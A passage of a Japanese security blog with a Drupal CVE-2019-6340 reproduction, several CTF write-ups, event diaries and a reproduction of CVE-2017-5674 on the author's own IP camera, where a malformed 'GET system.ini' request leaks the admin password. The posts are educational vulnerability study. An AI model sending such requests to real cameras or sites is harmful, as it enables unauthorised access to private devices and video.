satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

Drupalの脆弱性 (CVE-2019-6340) を検証してみた話

はじめに

TLでDrupal脆弱性 (CVE-2019-6340) が話題になっていたので検証してみました.

www.jpcert.or.jp

脆弱性の概要

www.drupal.orgによると一部のフィールドタイプがフォーム以外からのデータを正しくサニタイズしないため,RESTful Web Servicesなどの REST API を利用するモジュールを有効としている場合に任意のPHPコードを実行される可能性があるとのことです.

脆弱性の影響を受ける環境

脆弱性の影響を受ける可能性がある環境は以下の通りです.

脆弱性を利用した攻撃の検証

検証環境の準備

Drupal 8.6.9 に対して検証を行うためにDockerを利用しました.

Docker HubDrupalのイメージがあるので検証環境の準備は簡単です.

hub.docker.com

以下のコマンドを実行すると

> docker run --name drupal_service -p 8080:80 -d drupal:8.6.9

http://localhost:8080/に以下のような画面が表示されます.

f:id:satto1237:20190227012444p:plain

English -> [Save and continue] -> Standard -> [Save and continue] -> SQLite -> [Save and continue] のように遷移するとインストールが始まります.

インストールが終わるとサイトの環境設定を求められるので適当に設定します.

f:id:satto1237:20190227013329p:plain

設定が完了するとトップ画面が立ち上がります.

f:id:satto1237:20190227013558p:plain

次にRESTful Web Servicesの設定を行います (デフォルトでは有効になっていないので).

Manage -> Extend -> WEB SERVICES と遷移し,設定を全て有効にします.

f:id:satto1237:20190227014438p:plain

次にコンテンツの追加を行います.

Manage -> Content -> Add Content と遷移し,コンテンツの追加を行います.

コンテンツの追加に成功するとhttp://localhost:8080/node/1にページが生成されます.

f:id:satto1237:20190227015200p:plain

以上で検証環境の準備は終わりです.

攻撃手法

www.ambionics.io

上記のサイトによると Drupal 8.6.9 と 8.6.10を比較した際にRESTモジュールでFieldItemNormalizer.phpが新しいトレイトとしてSerializedColumnNormalizerTrait.phpを使用していることが分かるとのことです.

github.com

github.com

この新しいトレイトではcheckForSerializedStrings()メソッドを提供しています.
checkForSerializedStrings()メソッドは名前の通り,チェック対象にシリアライズされた文字列が格納されている場合に例外を投げるメソッドです.

この修正内容からパッチ適用前のDrupalではシリアライズされた文字列に対してサニタイズが行われていないため,RCEが可能になっていると推測することができます.
そのため,checkForSerializedStrings()メソッドが適用されているフィールドを特定し,PHPGGCを使用してペイロードを作成すれば攻撃が可能になります.

検証結果

以下がPHPsystem()を噛ませたペイロードを作成し,OSコマンドを実行している例です.

f:id:satto1237:20190227145220p:plain

f:id:satto1237:20190227145236p:plain

f:id:satto1237:20190227145254p:plain

キャッシュチェック(X-Drupal-Cache)で弾かれたノードはスキップしています.

脆弱性に対する対策

脆弱性修正済みバージョンのDrupalが公開されているのでアップデートを適用することで対策が可能になります.

まとめ

  • docker便利
  • PHPGGC便利
  • Drupalは早めにアップデートしましょう

Saudi and Oman National Cyber Security CTF 2019 Write-up

はじめに

2019/02/02 ~ 2019/02/10 に開催されたSaudi and Oman National Cyber Security CTFに個人で参加しました.

成績

5問解いて 105位 (1問以上解いた457人中) でした.

f:id:satto1237:20190210154230p:plain

Just Another Conference [General Information, 50]

famous Cybersecurity conference runs by OWASP in different locations

アプローチ:ググる

www.owasp.org

AppSec

フラグ提出チェック問ですね.

Back to basics [Web Security, 50]

not pretty much many options. No need to open a link from a browser, there is always a different way

Link: http://35.197.254.240/backtobasics

アプローチ:POST

問題文に色々書かれてますが気にせずにリンクを踏んでみるとwww.google.comにリダイレクトされてしまうことが分かります.

curlGETリクエストを投げて確かめてみます.

> curl http://35.197.254.240/backtobasics/

<script> document.location = "http://www.google.com"; </script>%

GETリクエストの情報量が微妙だったので基本に帰って (back to basics) POSTリクエストを投げてみます.

> curl -X POST http://35.197.254.240/backtobasics/
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->%

jsが降ってきたので整形してあげます.

var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];

function reverse(_0xa6e5x2) {
    flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}

console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])

読みにくいの読みやすくします.

flag = "ceab068d9522dc567177de8009f323b2".split("").reverse().join("")

この結果がフラグになります.

2b323f9008ed771765cd2259d860baec

I love images [Digital Forensics, 50]

A hacker left us something that allows us to track him in this image, can you find it?

f:id:satto1237:20190210160433p:plain

アプローチ:baseXX

> file godot.png
godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
> strings godot.png | tail
*TYlT_qP
vL.I


IK@
VMqa.%
pDuF(
op+P
q}'ZA0
O-T&
IEND
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======

pngbase64っぽい文字列が埋め込まれているのが分かります.
早速デコードしようとしますが上手くいきません.

> echo 'IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======' | base64 -D
!�� �%��!}�5��I}�0VV(�T=%

ここでrot13系が噛んでるのかなと考え,rot1~rot25までを総当たりしますが上手くデコードできず,無限に時間を溶かしました.

もう一度IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======をよく眺めてみると小文字が出現していないことやパディングが多すぎることに違和感を覚え,ようやくエンコード方式が違うことに気が付きました.

エンコード方式が違うといってもすぐに思いつくエンコード方式がbase58(ビットコインのあれ)くらいだったので色々調べてみるとbase32がそれっぽいことが分かりました.

あとはオンラインツールでデコードしてあげるとフラグを取得できます.
emn178.github.io

FLAG{Not_Only_Base64}

Hack a nice day [Digital Forensics, 100]

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}

f:id:satto1237:20190210163404j:plain

アプローチ:Steganography

> file info.jpg
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3

comment: "badisbad"が怪しいですね.

> strings info.jpg | head
JFIF
badisbad
!1!%)+/..
383-7(-.+
---+------+----+-----+----+-------+------------7--
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
)((*
YZI{0

ヘッダから恐らくSteganographyであることが分かります(経験則).

早速steghideで埋め込まれたファイルを抽出します.
この際,passphrasebadisbadを用いました.

> steghide extract -sf info.jpg 
Enter passphrase: 
wrote extracted data to "flaggg.txt".

あとはflaggg.txtを読めば終わりです.

> cat flaggg.txt 
flag{Stegn0_1s_n!ce}

flag{Stegn0_1s_n!ce}

I love this guy [Malware Reverse Engineering, 100]

Can you find the password to obtain the flag?

アプローチ:デコンパイル

> file ScrambledEgg.exe
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net系はdnSpyに投げるのが自分の中で定石になりつつあるので早速デコンパイルしてみます.

// Token: 0x04000001 RID: 1
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();


MessageBox.Show(new string(new char[]
                {
                    this.Letters[5],
                    this.Letters[11],
                    this.Letters[0],
                    this.Letters[6],
                    this.Letters[26],
                    this.Letters[8],
                    this.Letters[28],
                    this.Letters[11],
                    this.Letters[14],
                    this.Letters[21],
                    this.Letters[4],
                    this.Letters[28],
                    this.Letters[5],
                    this.Letters[14],
                    this.Letters[13],
                    this.Letters[25],
                    this.Letters[24],
                    this.Letters[27]
                }));

パスワードを見つけようとしたらフラグを見つけてしまったのでデコードします(恐らく想定解法ではない).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
    flag = [
    letters[5],
    letters[11],
    letters[0],
    letters[6],
    letters[26],
    letters[8],
    letters[28],
    letters[11],
    letters[14],
    letters[21],
    letters[4],
    letters[28],
    letters[5],
    letters[14],
    letters[13],
    letters[25],
    letters[24],
    letters[27]]

    print(''.join(flag))
> python solve.py
FLAG{I_LOVE_FONZY}

まとめ

  • 時間をかけて取り組んだ割には微妙な結果になってしまった
  • 解けそうで解けない問題が多くて消耗してしまった
  • MariaのIPアドレスベースのSQLi?めっちゃ解法が気になる
  • CTF用にWindows Laptopがほしい
  • Crypto問が出なくて悲しかった

SecHack365@沖縄に行ってきた話

SecHackのオフラインイベントで沖縄に行ってきました(02/01~02/03)

0日目 (01/31)

21:00

デモの最終確認を始める…

28:30

就寝…

1日目(02/01)

05:00

起床…(結局寝れず横になっただけ)

08:00

羽田空港到着.
睡眠不足からくる乗り物酔いで既に辛かった…

12:30

那覇空港到着.
お昼にソーキそばを食べようとしていたが乗り物酔いが酷すぎて諦めた…

f:id:satto1237:20190207185242j:plain

13:30

空港のロビーでデモの確認や発表中にしゃべることの確認をしながら他のプロジェクトの人と雑談してた.

14:30

会場到着.

f:id:satto1237:20190207193032j:plain

15:30

成果発表会開始.
発表順は年齢順らしく,自分が所属するプロジェクトはメンバー全員がM1なので1日目の後半に発表があった.

17:00

成果発表.
事前に伝えたいことを原稿にまとめていたが,発表中に頭から抜けてしまい,説明不足になってしまうところがあった.
やらかしたな〜と思っていたが質疑応答でその部分について聞かれ,上手く補足できたので良かった.

18:00

夕飯.

f:id:satto1237:20190207192618j:plain

19:00

成果発表会再開.
自分達の発表は終わっていたので気楽に聞けた.

21:00

Self Night Challenge

チームメンバーが3月の外部向け発表会に向けて追加実装を行う中自分はゆゆ式10巻を読んでいた(?) バックエンド担当に新APIが実装されたらオレも追加実装するわ〜とか言ってた気がする

f:id:satto1237:20190207194056j:plain

25:30

就寝.

2日目(02/02)

08:15

起床チャレンジ成功.
早起きすると朝ごはんがおいしい!

09:00

成果発表会再開.
実用的なものからアカデミックなものまでレベルの高い発表が続いた.

12:00

昼食.

f:id:satto1237:20190207194201j:plain

13:00

成果発表会再開.
低レイヤ高校生/高専生のレベルが高過ぎて自信喪失するのと同時にもっと頑張っていかなきゃと改めて思った.

18:00

夕飯.

f:id:satto1237:20190207194540j:plain

22:00

SecHack365最後の夜ということなので何人かのトレーニーで集まり,パソコンをいじりながら色々な話をした.
どんな話をしたのかについては書かないが最後にざっくばらんな話ができて本当に面白かった.

なぜそうなったのかは覚えていないが色々な話をしていたら無性にCTFがしたくなったのでNeverLAN CTF(CTF timeを開いたら開催中だった)に参加した (深夜テンション).
以下Write up.

Alphabet Soup [Crypto]

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA

アプローチ:換字式暗号
問題文を見た限り何も手がかりがなかったので色々と試した(rot13など).
結果的に換字式暗号だった.

NICE GOING ON SOLKING THE CRYPTOGRAM! I WONDER IF YOU DID THIS BY HAND OR USED YOUR RESOURCES. I'M SURE NOW YOU WANT A FLAG SO HERE IT IS FLAG DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

人力でやると時間がかかるのでqiupqiupを使った. quipqiup.com

DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

Super Old School [Crypto]

This image is trying to tell you something.

f:id:satto1237:20190207224354p:plain

アプローチ:Babylonian numerals

色々と調べてみるとBabylonian numeralsであることが分かる.
あとは数字とアルファベットを対応させれば終わり.

25 15 21 18
6 12 1 7
9 19
19 15
13 1 14 25
3 18 25 16 22 15 19


Y O U R
F L A G
I S
S O
M A N Y
C R Y P T O S

SOMANYCRYPTOS

February 14th [Crypto]

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19

 ______________________________________________________________
| 1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21|
| ______________________________________________________________|
  J  O  W  W  A  S  Q  L  L  W  E  I  U  S  B  A  E  S  I  P  L
  O  W  W  A  Q  A  P  K  E  Q  I  O  O  Q  D  Z  R  D  O  U  E
  E  D  E  F  B  W  I  J  M  I  K  M  L  W  E  C  Y  E  I  R  O
  D  Z  S  D  M  P  W  H  L  A  L  K  M  E  L  K  U  W  Q  T  W
  L  D  D  L  V  I  D  W  O  S  G  I  N  Z  U  K  K  I  Z  G  D
  Z  M  H  M  D  W  A  Q  Y  L  I  S  B  V  E  P  M  P  B  Q  Z
  E  B  G  I  J  Q  S  A  T  M  S  W  J  C  W  L  V  Q  H  M  S
  G  N  U  O  O  D  F  Z  D  B  A  T  K  N  R  U  D  K  I  P  L
  S  P  I  L  R  F  Q  B  H  H  B  U  O  Q  T  U  I  L  F  U  K
  W  I  O  Q  P  L  I  V  A  G  I  I  U  A  H  Y  P  Y  L  T  Y
  F  Y  K  W  D  K  K  C  Q  O  O  Z  R  W  K  T  S  T  O  R  D
  C  Q  M  A  J  L  F  O  W  Y  R  B  W  D  M  G  O  E  I  D  T
  V  L  E  Z  Q  H  V  I  I  W  S  O  Q  F  N  N  M  D  K  Q  P
  H  A  W  M  S  Q  L  Y  O  I  M  Y  A  K  F  W  I  F  U  J  I
  Y  Q  T  L  A  W  O  H  P  R  Q  W  S  O  Q  S  T  N  W  N  O
  R  U  Y  O  X  S  E  E  L  I  W  X  D  P  A  A  P  O  E  D  U
  F  I  P  P  C  A  W  S  S  P  S  Z  X  T  S  I  O  Y  X  W  T
  M  K  Q  I  H  D  C  O  A  W  Z  W  Z  U  P  O  U  W  N  P  G
  K  L  Z  Y  U  X  F  K  Z  S  S  V  J  G  K  P  R  K  M  K  H
  I  G  S  U  W  G  I  M  X  Z  E  S  L  C  G  E  F  J  Q  Z  V
  U  F  A  R  Q  H  U  K  B  D  U  L  P  F  L  W  T  H  R  X  B

アプローチ:読む

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19  
W E L  L  I  A M  G L A  D T  H A T  I  S O  V  E  R
WELL I AM GLAD THAT IS OVER

WELLIAMGLADTHATISOVER

Z3r0 C00l Bruh! [Crypto]

Hackers keep secrets.

f:id:satto1237:20190207225454j:plain

アプローチ:Steganography + エスパー + Vigenere cipher + エスパー

> strings hackers.jpeg | head -n 10
JFIF
+&.&#&.&D6006DOB?BO_UU_xrx
+&.&#&.&D6006DOB?BO_UU_xrx
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sLPA8
VUPrp+Kh"o:W<
sN[fa
75N]N

ヘッダが怪しいのでSteganographyを疑った.
steghideを利用しファイルの抽出を行った.
passphraseエスパーでneverlanctfにした.

> steghide extract -sf hackers.jpeg 
Enter passphrase: 
the file "Ohno.txt" does already exist. overwrite ? (y/n) 
wrote extracted data to "Ohno.txt".

Ohno.txtの中身を見てみる.

> cat Ohno.txt 
I wonder what this is????
Fowbjcsniuwcwscotsxvevvko

Fowbjcsniuwcwscotsxvevvkoをデコードすればフラグを取得できることが何となく分かる.

いくつかの手法を試す.

rot13 => x
base64 => x
vigenere cipher => Yourflagismyfavoritemovie

結果的にvigenere cipherでデコードできた.
デコードの際,KEYはエスパーでHACKERSにした.

myfavoritemovie

26:00

解散 + 就寝

Crypto問が全然Cryptoじゃなかったと文句をいいながら寝た.

3日目 (02/03)

08:00

起床チャレンジ成功.

09:00

優秀修了生発表.
自分達のプロジェクトは選抜されなかったが,選抜されたプロジェクトはどれも素晴らしいものだったので納得の結果だった.

後から聞いた話によると自分達のプロジェクトは惜しくも選抜入りを逃したらしい(最終選考には残っていた)

12:00

昼食.

f:id:satto1237:20190207233327j:plain

13:00

レクリエーション.
バスで斎場御嶽に行った.
3日間ずっと室内にいたのでやっと沖縄に来たんだなぁという気持ちになった.

f:id:satto1237:20190207233738j:plain f:id:satto1237:20190207233803j:plain f:id:satto1237:20190207233830j:plain

16:00

那覇空港で解散.
f:id:satto1237:20190207233940j:plain

23:30

自宅到着.

まとめ

  • 成果発表疲れた
  • 優秀修了生に選ばれなくて悔しかったがいい経験ができたと思う
  • 低レイヤ高校生強すぎる
  • これからも頑張っていく(まずは3月の外部向けの成果発表会)
  • ルートビアは太る

IoT: Webカメラで遊んだ話

はじめに

先日下記のツイートがTLに流れてきました.

CVE-2017-5674が遂にTVデビューしましたね (ちょっとテンションがあがった)
今回は二番煎じですがWebカメラCVE-2017-5674について色々と書いていきます(唐突).

Webカメラ

モデル

今回はVstarcam C7823WIP Mini WIFI IP Camera を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcamだと思います.

www.vstarcam.com

ファームウェアのバージョン

f:id:satto1237:20190129014111p:plain

CVE-2017-5674

A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.

nvd.nist.gov

CVE-2017-5674 とは 不正な形式のHTTPリクエストを送ることでVstarcamなどのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.

検証

WebカメラIPアドレスの特定

> arp -a | grep 48:2:2c
? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]

WebカメラIPアドレス192.168.2.3であることが分かりました.

ポートスキャン

> nmap -p- -sV 192.168.2.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST
Nmap scan report for 192.168.2.3
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE    VERSION
23/tcp    open  telnet     security DVR telnetd (many brands)
81/tcp    open  http       GoAhead WebServer
9600/tcp  open  tcpwrapped
10080/tcp open  amanda?
10554/tcp open  rtsp

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

ポートスキャンの結果からGoAhead WebServer81/tcpで動いていることが分かりました.

補足
ファームウェアのバージョンが異なるモデルではhttpはランダムポートになっています.

81/tcpにアクセス

f:id:satto1237:20190129020229p:plain

ユーザ名とパスワードの入力を求めらます.

パスワードの漏洩

CVE-2017-5674の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.

> telnet 192.168.2.3 81
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.

GET system.ini

HTTP/1.1 200 OK
Date: Mon Jan 28 17:06:13 2019
Server: GoAhead-Webs
Last-modified: Mon Jan 28 16:40:00 2019
Content-length: 4052
Content-type: text/plain
Cache-Control:no-cache
Connection: close

IPCAM������������������������������������������`0O\���time.nist.gov/




adminp4ssw0rd
~~~~������������������������������������������5W
�W
G
��
�j
R
:)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.

admin, p4ssw0rdが降ってきました.

再度81/tcpにアクセス

f:id:satto1237:20190129022034p:plain

先程漏洩させたユーザ名とパスワードを使って81/tcpにアクセスしてみると管理画面が表示されました.

Sign in

適当にSign inするとカメラの映像が表示されます.

f:id:satto1237:20190129024340g:plain

その他

Vstarcam C7823WIP Mini WIFI IP CameraCVE-2017-5674以外にも面白い情報を提供してくれるので雑に紹介します.

初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
f:id:satto1237:20190129030014p:plain

www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう? f:id:satto1237:20190129030803p:plain

まとめ

参考文献

動画の方の資料を参考にさせていただきました.

IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf

f:id:satto1237:20190129032000j:plain

InterKosenCTF 2019 Write-up

はじめに

01/18~01/20に開催されたInterKosenCTFにチームNekochanNano!で参加しました.
NekochanNano!は1250pts獲得して12位(71チーム中)でした.
今回は自分が解いた2問(350pts)のWrite-upです.

[Cheat 100pts] lights out

Turn all the lights on.

f:id:satto1237:20190120232312p:plain

ライツアウトは、5×5の形に並んだライトをある法則にしたがってすべて消灯 (lights out) させることを目的としたパズル。(Wiki)

アプローチ:デコンパイル

ライツアウトのソルバ自体はググればたくさん出てきます.
ただ,今回のライツアウトは20×20なので愚直にやると解けなそうです.
なので正攻法?(デコンパイル)で解きました.

LightsOut.exednSpyデコンパイルすると以下のようなコードを発見できます. github.com

// Token: 0x06000017 RID: 23 RVA: 0x0000246C File Offset: 0x0000066C
// Note: this type is marked as 'beforefieldinit'.
static 745BBE96-A34C-4723-B7D4-089F48D57F2E()
{
    745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>> = new byte[]
    {
        200,
        223,
        198,
        210,
        158,
        149,
        232,
        159,
        223,
        216,
        145,
        155,
        226,
        149,
        217,
        238,
        245,
        232,
        253,
        247,
        253,
        235,
        250,
        198,
        193,
        199,
        132,
        197,
        223,
        212,
        128,
        217,
        230,
        242,
        215,
        237,
        189,
        224,
        238,
        235,
        247,
        240,
        227,
        181,
        242,
        180,
        219,
        202,
        200,
        196,
        252,
        224,
        240,
        171,
        241,
        244,
        241,
        167,
        252,
        253,
        239,
        200,
        247,
        253,
        217,
        223,
        156,
        148,
        173,
        128,
        130,
        138,
        144,
        130,
        148,
        148,
        138,
        134,
        144,
        140,
        149,
        149,
        139,
        216,
        179,
        158,
        149,
        147,
        180,
        156,
        130,
        156,
        186,
        158,
        147,
        157,
        190,
        184,
        232,
        134,
        187,
        187
    };
    for (int i = 0; i < 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>.Length; i++)
    {
        745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] = (byte)((int)745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] ^ i ^ 170);
    }
}

排他的論理和を使って怪しい処理をしてますね.
同様の処理を行った結果をデコードするとflagが得られます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    messages = [200,223,198,210,158,149,232,159,223,216,145,155,226,149,217,238,245,232,253,247,253,235,250,198,193,199,132,197,223,212,128,217,230,242,215,237,189,224,238,235,247,240,227,181,242,180,219,202,200,196,252,224,240,171,241,244,241,167,252,253,239,200,247,253,217,223,156,148,173,128,130,138,144,130,148,148,138,134,144,140,149,149,139,216,179,158,149,147,180,156,130,156,186,158,147,157,190,184,232,134,187,187]
    flag = []
    for i, message in enumerate(messages):
        flag.append(message ^ i ^ 170)

    print(bytes(flag))
> python solve.py
b'btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLights Out'

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

[Cheat 250pts] anti cheat

Get a super good score!

f:id:satto1237:20190121002230p:plain f:id:satto1237:20190121002256p:plain

アプローチ:javascriptの書き換え

問題文から一定以上のスコアを獲得すればflagが表示されることを読み取ることができます.

チートを行うためにChromeデベロッパーツールを使用してjsコードを確認すると以下のようになっています.

f:id:satto1237:20190121003156p:plain

かなり読みにくいですがscoreという変数名を手がかりにスコアの書き換えに利用できそうな処理を探していきます.
scoreで検索をかけると以下のようなコードを発見できます.

_d3(8,8,("SCORE: "+_G3(_e3._r3)));

このコードは恐らく左上のスコアを表示している部分の処理を行っているので_e3._r3に関する処理を書き換えればスコアに影響を与えることができそうだということが分かります.

_e3._r3で検索をかけると以下のようなコードを発見できます.

if((_e3._r3>=1000)){~~~~~}

このコードからスコアが1000以上になった場合に何かしらの処理が行われることが読み取れます.
そのため,コードを以下のように書き換えて再度ゲームをプレイしてみます.

if((_e3._r3>=1)){~~~~~}

f:id:satto1237:20190121005404p:plain

このようにflagが表示されました.

KOSENCTF{bASIc_buT_STrOng_AnTI_chEAT}

まとめ

  • Web, Cryptoが思うように解けずつらくなった…
  • 精進しなければ…
  • チームでCTFやるの楽しい!
  • Rev,Pwn投げっぱなしだったのでなんとかしたい…

チームメンバのWrite-up

szarny.hatenablog.com

2018年の振り返りと2019年の目標

はじめに

完全にポエムになってしまいますが,2018年の振り返りと2019年の目標について書きます.
多分技術的な話はほとんどしないと思います.

2018年の振り返り

1月

ゼノブレイド

ゼノブレイド2にハマってしまい,虚無のような冬休みを過ごした…
1週間ちょっとで100時間くらいプレイしてしまった気がします.

Xenoblade2 (ゼノブレイド2) - Switch

Xenoblade2 (ゼノブレイド2) - Switch

初めての学会発表

そこそこ緊張しましたが,卒論発表の前に学会発表を経験できたので良かったです.
開催地が新潟だったということもあり,新潟二郎もしっかり食べてきました.

f:id:satto1237:20181231205259j:plain

卒論提出

学会に向かう前に提出した卒論がタイトルにスペース(空白)が入っていないという理由でリジェクトされてしまったため,学会帰りの新幹線で慌てて修正した気がします.
提出締切1時間前に大学に到着し,無事に提出できました.

2月

将棋

当時放送していたアニメと藤井5段(当時)に影響され,研究室の留学生と一緒に将棋にハマってしまいました.
ノーマル四間飛車と美濃囲いを覚えて,留学生と1日1局指していた記憶があります.

f:id:satto1237:20181231211707j:plain

卒論発表

多少緊張しましたが炎上することもなく無事に終わりました.
やっぱり卒論発表前に1度学会発表を経験しておくとフィードバックを反映できるため,無難に発表をこなせると思います.

卒業確定

なんとか落単せずに卒業要件を満たすことができました…

f:id:satto1237:20181231213058p:plain

3月

冬キャン!

またアニメに影響されて友人と冬キャン!をしました (現地まで片道60kmですが自転車圏内なので自転車で行きました).
当日は最低使用温度5℃のシュラフで寝たのですが,最低気温が2℃だったので案の定風邪を引きました(それはそう).
風邪を引いた状態で自転車で帰宅するのは結構辛かった記憶があります.

f:id:satto1237:20181231215525p:plain 友人はモザイク処理しました

卒業式

人生で最も卒業感がない卒業式だったと思います.
4月からも同じ大学の大学院に通うのでそれはそう

卒業研究で表彰されたりしました.

4月

入学式

ITFを聴きに行った.

研究室のメンバーが増える

外部M1と新B4が配属されたため,元々3人しかいなかった研究室のメンバーが3倍以上になりました.
この頃ようやく研究室に行けば誰かがいるという状態になりました.
3月までは研究室に行っても自分しかいないというのが当たり前だったので感動しました.
多分新しくできた研究室あるあるなのかもしれません.

5月

卒業旅行?

京都と岡山に旅行に行ってラーメンを食べました.

f:id:satto1237:20181231222716j:plain f:id:satto1237:20181231222727j:plain

SecHack365の選考に通過

セキュリティ界隈の強い人達に出会えたのが本当に大きかった.

satto.hatenadiary.com

SecHack365@神奈川

satto.hatenadiary.com

CTFを始める

SECCON Beginners CTF に参加し,セキュリティ何もわからんとなりCTFを始めました.

6月

TA業務終了

4月から担当していたTA業務が終了しました.
演習時のサポートと課題の採点が主な業務でしたが,自分にとっていい復習になりましたし,お金も貰えて一石二鳥でした.

SecHack365@北海道

satto.hatenadiary.com

7月

MBP購入

自分にとって3台目のMBPを購入しました.

補足
1台目:弟にコーラをかけられて死去 (2011/10 ~ 2012/10)
2台目:スペック不足で買い替え (2012/10 ~ 2018/07)

f:id:satto1237:20181231224221j:plain

インターン (1)

某社の1 week インターンに参加しました.
自分の専門分野とはあまり関係ないところでしたし, インターンの内容もグループワーク(?)がメインであまり実践的とはいえないものでしたが, 参加者や社員さんのロジカルな部分に圧倒されました.
この頃,優秀な人達に囲まれて仕事ができたら楽しそうだなという思いが芽生えました.

8月

SecHack365@福岡

satto.hatenadiary.com

夏キャン!

帰省した際に友人と夏キャン!をしました.

f:id:satto1237:20181231230619j:plain

9月

インターン (2)

某社の 2 weeks インターンに参加しました.
ここでの業務内容は自分の専門分野に近いものであり, 就職のイメージをより具体的にできた気がします.

上司と二郎インスパイアに行くという実績を解除しました

f:id:satto1237:20181231231453j:plain

CTFのwrite-upを書き始める

5月から時間がある週末にはCTFに取り組んでいましたが,write-upをほとんど書いていなかったため(やるだけになっていたため),知識があまり定着していませんでした.
なので,9月以降はできるだけwrite-upを書くようにしています(まともに解けたときは).

satto.hatenadiary.com

10月

SecHack365@山形

satto.hatenadiary.com

CODE BLUE

CODE BLUE に学生スタッフとして参加しました.

satto.hatenadiary.com

CTFで入賞?

嬉しかったです.

satto.hatenadiary.com

11月

研究と大学関連の雑務

10月にCTFで遊んだりやSecHack関連のあれこれをやっていたせいで研究の進捗が微妙でした.
また,大学関連の雑務もたまっており,毎日何かしらのタスクを消化しなければいけなく,かなり忙しかったという記憶しかありません.

面接

この頃から早期選考(就活)が始まりました.

12月

SecHack@愛媛

satto.hatenadiary.com

論文

SecHack愛媛回が終わってから2週間ほどは実験をしたり,論文を書いていました.

内定

インターンにいった某社から内定を頂きました.
今後についてはじっくり考えたいと思います.

2019年の目標

国際学会で発表

大学院生なので(それはそう).

研究頑張ります.

SECCON 本戦(国内)に出場

現在,2チームに所属しているのでどちらで参加するかは予選までに決めておかなければいけませんが,どちらのチームで参加した場合でも戦力になれるように日々精進したいと思います.
個人的にはCrypto, Webの勉強を続けつつ,Rev, Pwnにも手を広げていけるように頑張っていきたいです.
(SECCONはRev,Pwnができないと楽しめないので)

就活

インターンや早期選考を通じて,自分のやりたいことがようやく見えてきたのであと何社か受けてみようと思っています.

健康

2018年は想像していたよりも忙しく,趣味の1つである自転車にほとんど乗れませんでした.
(2017年の走行距離:約3000km, 2018年の走行距離:約200km)
加えて,家の近くに美味しい二郎インスパイアができてしまい,不健康が加速する1年になってしまいました.

2019年はラーメンを抑えつつ,自転車に乗って健康な1年にしたいです(雑).

セキュリティ

一応自分の専門はセキュリティなのですが,狭く浅くしかセキュリティを知りません(セキスペレベル)…
2019年はせめて広く浅く,できれば広く知った上で1つの分野を深かめていきたいなと思います.

SecHack365@愛媛に行ってきた話

SecHackのオフラインイベントで愛媛に行ってきました(11/30~12/02)

0日目 (11/29)

23:00

学会の講演締切の前日ということで色々と忙しかった…
